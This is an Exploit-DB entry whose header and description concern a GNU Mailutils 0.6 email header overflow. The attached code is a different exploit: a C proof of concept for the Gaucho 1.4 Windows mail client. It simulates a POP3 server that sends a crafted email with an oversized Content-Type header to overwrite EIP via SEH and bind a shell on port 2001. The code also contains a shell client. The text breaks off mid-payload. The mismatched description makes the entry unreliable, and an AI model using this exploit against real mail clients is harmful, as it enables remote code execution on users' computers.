Exploit-DB #25706
Description: GNU Mailutils 0.6 - Mail Email Header Buffer Overflow
Type: remote
Platform: linux
Date: 2004-08-10
Author: infamous41md

Exploit:
source: https://www.securityfocus.com/bid/13766/info

GNU Mailutils mail is affected by an email header buffer overflow vulnerability.

The problem exists in the 'header_get_field_name()' function of the 'mailbox/header.c' source file and manifests while the software is processing superfluous email header values.

Ultimately a malicious attacker may exploit this issue to execute arbitrary code on the affected computer with the privileges of the user who started the affected application by sending a specially crafted malicious email. 

//**************************************************************************
// Gaucho Ver 1.4 Mail Client Buffer Overflow Vulnerability
// Bind Shell POC Validation Code for English Win2K SP4
// 10 Aug 2004
//
// Gaucho is an Email client developed by NakedSoft for Microsoft Windows 
// platforms.  Gaucho supports SMTP, POP3 and other email delivery protocols.
// Gaucho version 1.4 is vulnerable to a buffer overflow when receiving 
// malformed emails from a POP3 server.  This vulnerability is triggered if the 
// POP3 server returns a specially crafted email that has an abnormally long 
// string in the Content-Type field of the email header. This string will
// overwrite EIP via SEH, and can be exploited to execute arbitrary code.
//
// This POC code simulates a POP3 server that sends a specially crafted email 
// to Gaucho, triggering the overflow and binds shell on port 2001 of a vulnerable 
// Gaucho email client.
//
// Tested on Win2K SP4, you must find the address of JMP EDI instruction that 
// is suitable for your system.
//
// Advisory 
// http://www.security.org.sg/vuln/gaucho140.html
//
// Greetz: snooq, sk, and all guys at SIG^2 (www.security.org.sg)
//
//**************************************************************************

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#pragma comment(lib,"ws2_32.lib")

bool tcpInit()
{
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
 
	wVersionRequested = MAKEWORD( 2, 0 );
 
	err = WSAStartup( wVersionRequested, &wsaData );
	if ( err != 0 ) {
		return false;
	}
  
	if (LOBYTE( wsaData.wVersion ) != 2 ||
        HIBYTE( wsaData.wVersion ) != 0 )
	{
		WSACleanup();
		return false;
	}

	return true;
}


SOCKET tcpListen(int port)
{
    SOCKET sock;

	sock = socket(AF_INET, SOCK_STREAM, 0);

	if(sock == INVALID_SOCKET)
		return sock;

	sockaddr_in sin;

	sin.sin_addr.s_addr = htonl(INADDR_ANY);
	sin.sin_family = AF_INET;
	sin.sin_port = htons(port);

	if(bind(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
	{
		printf("Error in bind().\n");
		closesocket(sock);
		return INVALID_SOCKET;
	}

	if(listen(sock, 5) == SOCKET_ERROR)
	{
		printf("Error in bind().\n");
		closesocket(sock);
		return INVALID_SOCKET;
	}

	return sock;
}


DWORD resolveIP(char *hostName)
{
	hostent *hent;
	char **addresslist;
	DWORD result = 0;

	hent = gethostbyname(hostName);
	if(hent)
	{
		addresslist = hent->h_addr_list;
	
		if (*addresslist) 
		{
			result = *((DWORD *)(*addresslist));

		}
	}

	return result;
}


SOCKET tcpConnect(char *host, int port)
{
    SOCKET sock;

	sock = socket(AF_INET, SOCK_STREAM, 0);

	if(sock == INVALID_SOCKET)
		return sock;

	sockaddr_in sin;

	DWORD ip = resolveIP(host);
	if(ip == 0)
		ip = inet_addr(host);

	sin.sin_addr.s_addr = ip;
	sin.sin_family = AF_INET;
	sin.sin_port = htons(port);

    if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
	{
		printf("Connect failed.\n");
		closesocket(sock);
		return INVALID_SOCKET;
	}

	return sock; 
}


void shell(int sockfd)
{
	char buffer[1024];
	fd_set rset;
	FD_ZERO(&rset);

	for(;;)
	{
		if(kbhit() != 0)
		{		
			fgets(buffer, sizeof(buffer) - 2, stdin);
			send(sockfd, buffer, strlen(buffer), 0);
		}

		FD_ZERO(&rset);
		FD_SET(sockfd, &rset);

		timeval tv;
		tv.tv_sec = 0;
		tv.tv_usec = 50;
		
		if(select(0, &rset, NULL, NULL, &tv) == SOCKET_ERROR)
		{
			printf("select error\n");
			break;
		}
        
		if(FD_ISSET(sockfd, &rset))
		{
			int n;

			ZeroMemory(buffer, sizeof(buffer));
			if((n = recv(sockfd, buffer, sizeof(buffer), 0)) <= 0)
			{
				printf("EOF\n");
				exit(0);
			}
			else
			{
				fwrite(buffer, 1, n, stdout);
			}
		}
	}
}


#define OK_MSG			"+OK POC POP3 server for Gaucho Ver 1.4 Vulnerability ready.\r\n"
#define STAT_REPLY		"+OK 1 1\r\n"


char UIDL_REPLY[] =
	"[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]\r\n.\r\n";


unsigned char bindShellEmail[] =
	"Date: Mon, 09 Aug 2004 19:44:13 +0800\r\n"
	"Subject: Testing\r\n"
	"To: a@aaaaaa.xxx\r\n"
	"From: XX <xx@xxxxxxxx.xxx.xx>\r\n"
	"Message-ID: <GM[PII_REDACTED]9A000.b76.xx@xxxxxxxx.xxx.xx>\r\n"
	"MIME-Version: 1.0\r\n"
	"Content-Type: "	
	"AAAABBBBCCCCDDDDEEEEFFFFGGGG1HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
	"AAAABBBBCCCCDDDDEEEEFFFFGGGG"	
	"\x37\x55\x62\x76"		// overwrites EIP via SEH, address of JMP EDI in MPR.dll
							// this address must be carefully chosen due to the filtering that is done
							// on the header messages.

	"IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
	"AAAABBBBCCCCDDDDEEEEFFFFGGGG3HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
	"AAAABBBBCCCCDDDDEEEEFFFFGGGG4HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
	"AAAABBBBCCCCDDDDEEEEFFFFGGGG5HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
	"AAAABBBBCCCCDDDDEEEEFFFFGGGG6HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
	"AAAABBBBCCCCDDDDEEEEFFFFGGGG7HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
	"AAAABBBBCCCCDDDDEEEEFFFFGGGG8HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
	"